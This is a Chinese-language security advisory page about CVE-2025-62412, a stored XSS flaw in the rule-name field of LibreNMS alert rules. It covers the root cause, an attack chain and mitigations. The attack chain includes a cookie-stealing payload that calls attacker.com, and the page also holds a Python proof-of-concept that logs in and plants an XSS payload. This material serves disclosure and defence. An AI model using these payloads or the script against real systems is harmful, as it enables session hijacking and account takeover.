IPBUF安全漏洞报告
English
CVE-2025-62412 CVSS 3.8 低危

CVE-2025-62412 LibreNMS告警规则名称HTML注入漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-62412
漏洞类型
存储型XSS(HTML注入)
CVSS评分
3.8 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
LibreNMS

相关标签

CVE-2025-62412LibreNMS存储型XSSHTML注入跨站脚本网络监控系统告警规则低危漏洞需要高权限

漏洞概述

CVE-2025-62412是LibreNMS网络监控系统中的一个存储型跨站脚本(XSS)漏洞,也称为HTML注入漏洞。LibreNMS是一款基于GPL许可证的社区驱动的网络监控工具,广泛用于企业和服务提供商环境中对网络设备、服务器和服务进行自动发现与监控。该漏洞存在于LibreNMS的Alerts(告警)模块中的Alert Rules(告警规则)页面,具体表现为告警规则的名称(Rule Name)字段未对用户输入进行充分的过滤与转义处理,攻击者可以通过构造包含恶意HTML或JavaScript代码的告警规则名称,将其持久化存储到系统中。当其他用户(包括管理员)访问告警规则页面查看告警列表时,恶意代码将在其浏览器中自动执行。该漏洞由GitHub安全顾问团队([email protected])发现并报告,CVSS 3.1基础评分为3.8分,属于低危级别。攻击者需要具备高权限(PR:H)才能创建或修改告警规则,因此该漏洞的利用门槛较高,但一旦被利用,可能导致管理员会话被劫持、敏感信息泄露或未授权操作等后果。该漏洞已在LibreNMS 25.10.0版本中修复,官方通过提交dccdf6769976a974d70f06a7ce8d5a846b29db6f对告警规则名称字段实施了严格的输入过滤和输出编码处理。

技术细节

该漏洞的根本原因在于LibreNMS在处理告警规则名称时,未对用户提交的字符串进行充分的HTML实体编码或过滤。具体技术原理如下:

1. **输入点**:Alerts > Alert Rules页面中的告警规则名称输入字段。当具有高权限的用户(如管理员)创建或编辑告警规则时,可以在该字段中输入任意字符串。

2. **存储机制**:用户输入的告警规则名称未经转义即被直接存储到数据库中。恶意载荷(如`<script>`标签、`<img onerror>`事件处理器或`<iframe>`等)以原始形式持久化。

3. **输出渲染**:当其他用户访问告警规则列表页面时,服务器从数据库读取告警规则名称并直接渲染到HTML页面中,未对输出内容进行HTML实体编码(如将`<`转义为`&lt;`)。

4. **触发执行**:浏览器解析HTML时,将恶意载荷作为可执行脚本或活动内容处理,从而在受害者上下文中执行任意JavaScript代码。

利用方式:攻击者首先需要获取LibreNMS的高权限账户(管理员或具有告警规则管理权限的账户)。然后,在创建或编辑告警规则时,将恶意HTML/JavaScript代码嵌入到规则名称字段中保存。当管理员或其他用户查看告警规则页面时,恶意代码将在其浏览器中自动执行,可用于窃取会话Cookie、CSRF令牌,或执行管理操作(如创建新管理员账户、修改配置等)。

攻击链分析

STEP 1
步骤1:获取高权限凭证
攻击者通过钓鱼、社会工程或其他方式获取LibreNMS的高权限账户(管理员或具有告警规则管理权限的账户)。
STEP 2
步骤2:登录并导航至告警规则页面
攻击者使用获取的凭证登录LibreNMS,导航至Alerts > Alert Rules页面,准备创建新的告警规则。
STEP 3
步骤3:注入恶意载荷
在告警规则名称(Rule Name)字段中输入包含恶意HTML/JavaScript代码的字符串,如<img src=x onerror=alert(document.cookie)>或<script>fetch('http://attacker.com/?c='+document.cookie)</script>。
STEP 4
步骤4:保存告警规则
提交表单,将包含恶意载荷的告警规则名称持久化存储到数据库中。
STEP 5
步骤5:触发执行
当其他用户(特别是管理员)访问告警规则列表页面时,恶意代码在其浏览器中自动执行,可窃取会话Cookie、CSRF令牌或执行未授权的管理操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62412 - LibreNMS Alert Rule Name HTML Injection PoC # This PoC demonstrates the stored XSS vulnerability in the alert rule name field. # Requires: authenticated session with high privileges (admin or alert rule management rights) import requests # Configuration TARGET_URL = "https://librenms-target.example.com" USERNAME = "admin" PASSWORD = "password" # Create a session and authenticate session = requests.Session() # Step 1: Login to LibreNMS login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Inject malicious HTML/JavaScript payload into alert rule name # The payload will execute when any user views the Alert Rules page malicious_rule_name = '<img src=x onerror=alert(document.cookie)>' alert_rule_url = f"{TARGET_URL}/alerts/rule" alert_rule_data = { "name": malicious_rule_name, "severity": "critical", "condition": ">", "value": "1", "extra": "", "notes": "PoC for CVE-2025-62412" } response = session.post(alert_rule_url, data=alert_rule_data) if response.status_code == 200: print(f"[+] Malicious alert rule created successfully with name: {malicious_rule_name}") print(f"[+] When any user visits {TARGET_URL}/alerts/rule, the payload will execute.") else: print(f"[-] Failed to create alert rule. Status code: {response.status_code}")

影响范围

LibreNMS < 25.10.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制告警规则管理权限的分配范围,仅授予必要的可信用户;2)在Web应用防火墙(WAF)中部署XSS防护规则,过滤常见的恶意HTML标签和JavaScript事件处理器;3)手动审查数据库中已存在的告警规则名称,删除任何可疑内容;4)配置内容安全策略(CSP)头部,限制内联脚本执行;5)监控告警规则页面的异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表